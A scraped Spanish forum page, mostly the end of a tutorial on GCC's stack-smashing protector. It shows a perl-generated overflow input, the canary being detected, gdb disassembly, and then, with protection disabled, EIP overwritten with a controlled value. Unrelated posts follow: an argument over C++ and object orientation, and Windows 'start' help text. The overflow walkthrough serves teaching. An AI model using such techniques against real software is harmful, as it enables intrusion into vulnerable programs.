b7e7a000-b7e7b000 rw-p 0000a000 08:02 197220     /lib/libgcc_s.so.1
b7e7b000-b7e7c000 rw-p b7e7b000 00:00 0 
b7e7c000-b7fc5000 r-xp 00000000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc5000-b7fc6000 r--p 00149000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc6000-b7fc8000 rw-p 0014a000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc8000-b7fcb000 rw-p b7fc8000 00:00 0 
b7fe1000-b7fe3000 rw-p b7fe1000 00:00 0 
b7fe3000-b7fe4000 r-xp b7fe3000 00:00 0          [vdso]
b7fe4000-b7ffe000 r-xp 00000000 08:02 196676     /lib/ld-2.7.so
b7ffe000-b8000000 rw-p 00019000 08:02 196676     /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
Cancelado
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x44#EIP')
*** stack smashing detected ***: ./vulnerable terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f69138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f690f0]
./vulnerable[0x80483fe]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:02 534536     /home/c1c4tr1z/Escritorio/vulnerable
08049000-0804a000 rw-p 00000000 08:02 534536     /home/c1c4tr1z/Escritorio/vulnerable
0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
b7e70000-b7e7a000 r-xp 00000000 08:02 197220     /lib/libgcc_s.so.1
b7e7a000-b7e7b000 rw-p 0000a000 08:02 197220     /lib/libgcc_s.so.1
b7e7b000-b7e7c000 rw-p b7e7b000 00:00 0 
b7e7c000-b7fc5000 r-xp 00000000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc5000-b7fc6000 r--p 00149000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc6000-b7fc8000 rw-p 0014a000 08:02 1425929    /lib/tls/i686/cmov/libc-2.7.so
b7fc8000-b7fcb000 rw-p b7fc8000 00:00 0 
b7fe1000-b7fe3000 rw-p b7fe1000 00:00 0 
b7fe3000-b7fe4000 r-xp b7fe3000 00:00 0          [vdso]
b7fe4000-b7ffe000 r-xp 00000000 08:02 196676     /lib/ld-2.7.so
b7ffe000-b8000000 rw-p 00019000 08:02 196676     /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
Cancelado

DETECTADO! Si analizamos mas de cerca vemos esto ./vulnerable[0x80483ef], esa direccion nos indica en que momento el programa ejecuta el buffer overflow:

c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gdb -q vulnerable
(gdb) disas 0x80483ef
Dump of assembler code for function overflow:
0x080483c4 <overflow+0>:	push   %ebp
0x080483c5 <overflow+1>:	mov    %esp,%ebp
0x080483c7 <overflow+3>:	sub    $0x48,%esp
0x080483ca <overflow+6>:	mov    0x8(%ebp),%eax
0x080483cd <overflow+9>:	mov    %eax,-0x34(%ebp)
0x080483d0 <overflow+12>:	mov    %gs:0x14,%eax
0x080483d6 <overflow+18>:	mov    %eax,-0x4(%ebp)
0x080483d9 <overflow+21>:	xor    %eax,%eax
0x080483db <overflow+23>:	mov    -0x34(%ebp),%eax
0x080483de <overflow+26>:	mov    %eax,0x4(%esp)
0x080483e2 <overflow+30>:	lea    -0x24(%ebp),%eax
0x080483e5 <overflow+33>:	mov    %eax,(%esp)
[b]0x080483e8 <overflow+36>:	call   0x8048320 <strcpy@plt>[/b]
0x080483ed <overflow+41>:	mov    -0x4(%ebp),%eax
0x080483f0 <overflow+44>:	xor    %gs:0x14,%eax
0x080483f7 <overflow+51>:	je     0x80483fe <overflow+58>
0x080483f9 <overflow+53>:	call   0x8048330 <__stack_chk_fail@plt>
0x080483fe <overflow+58>:	leave 
0x080483ff <overflow+59>:	ret    
End of assembler dump.

Como vemos detiene el programa en la instrucció leave, que (por lo que entiendo) es la encargada de mover (mov) a %ebp a %esp y sacar (pop) a %ebp de la pila, eso significaria que pretende volver a ESP y con el buffer copiado (call   0x8048320 <strcpy@plt>). Es ahi donde el canario es sobreescrito y se detiene todo el procedimiento despues del checkeo. El checkeo lo hace mediante la funcion __stack_chk_fail().
Ahora vamos a probar el programa _sin_ esta protección. Para eso vamos a compilar el programa con el flag --no-stack-protector:

c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc --no-stack-protector vulnerable.c -o vulnerable
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x44#EIP')
Fallo de segmentación
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gdb -q vulnerable
(gdb) r $(perl -e 'print "A"x36 ,"B"x4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/c1c4tr1z/Escritorio/vulnerable $(perl -e 'print "A"x36 ,"B"x4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp
eip            0x42424242	0x42424242
ebp            0x41414141	0x41414141
(gdb) 

Y sin esta protección pudimos sobreescribir EBP y EIP sin ninguna dificultad, cosa que seria fácil de explotar mas aún si la protección de la cual hable antes esta deshabilitada para poder conseguir la dirección constante de ESP y sobreescribir el flujo del proceso. En sí, yo solo hable de un solo método de protección de esta extensión, que por lo que sé son 5 y se pueden ver en al pagina oficial [2].

Referencias:
[1] Smack the Stack (Advanced Buffer Overflow Methods) - You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
[2] ProPolice - You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Autor: c1c4tr1z

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

C++ es orientado a objetos, si no lo es, se llama C.

Te aconsejo investigar más sobre como trabajan estas herramientas, y no me digas que buscaste o que no hay información porque esta LLENO de información y de gente que pregunta lo mismo.

Saludos!

no papi te fuiste lejos muy lejos mi pregunta fue clara es nesesario como vase
es obio q abra systemas q no se vasaran solo en c++ lo que pregunte fue claro no salgas de
la linea gracias

Compañero, por no decir otra cosa, vos mismo estas hablando mal.

CitarC++ orientado a objetos para esta finalidad?

C++ es orientado a objetos, C no. Por eso mismo, te contesté lo que te contesté. Vuelvo a reiterar, y espero que lo entiendas, porque no me gusta explicar dos veces las cosas, ahí considero que la gente es ciega.

Averigua que es la POO (Programación Orientada a Objetos) y averiguá como funcionan esas herramientas, luego, vuelve aquí y podras hacer una buena pregunta.

No lo hago por mi, si fuese por eso, ni contestaría. Es para que vos mismo comprendas que es lo que estas diciendo ahora mismo y lo que quieres alcanzar. No todo es facil.

Saludos y suerte!

PD: está en las reglas hacer preguntas inteligentes.
PD2: la mayoria las escribi yo.

Investigaré, si encuentro algo mas detallado, te aviso.

Puedes probar con start. Creas el archivo y luego ejecutas con prioridades o lo que fuese.

start /?

START ["título"] [/Druta] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
      [/WAIT] [/B] [comando o programa]
      [parámetros]

    "título"    Texto que se mostrará en la barra de título de la ventana.
    ruta        Directorio de inicio.
    B           Inicia la aplicación sin crear una ventana. La aplicación
                no controla la funcionalidad de ^. A menos que la aplicació
                habilite el procesamiento de ^C processing, ^Pausa es la
                única manera de interrumpir la aplicación.
    I           El nuevo entorno será el entorno original pasado a
                cmd.exe y no el actual.
    MIN         Abre la ventana minimizándola.
    MAX         Abre la ventana minimizándola.
    SEPARATE    Inicia el programa de Windows de en un espacio de memoria
                separado.
    SHARED      Inicia el programa de Windows de en el espacio de memoria
                compartida.
    LOW         Inicia la aplicación en la clase de prioridad IDLE.
    NORMAL      Inicia la aplicación en la clase de prioridad NORMAL.
    HIGH        Inicia la aplicación en la clase de prioridad HIGH.
    REALTIME    Inicia la aplicación en la clase de prioridad REALTIME.
    ABOVENORMAL Inicia la aplicación en la clase de prioridad ABOVENORMAL.
    BELOWNORMAL Inicia la aplicación en la clase de prioridad BELOWNORMAL.
    WAIT        Inicia la aplicación y espera a que ésta finalice.

ejecutando el .bat como administrador?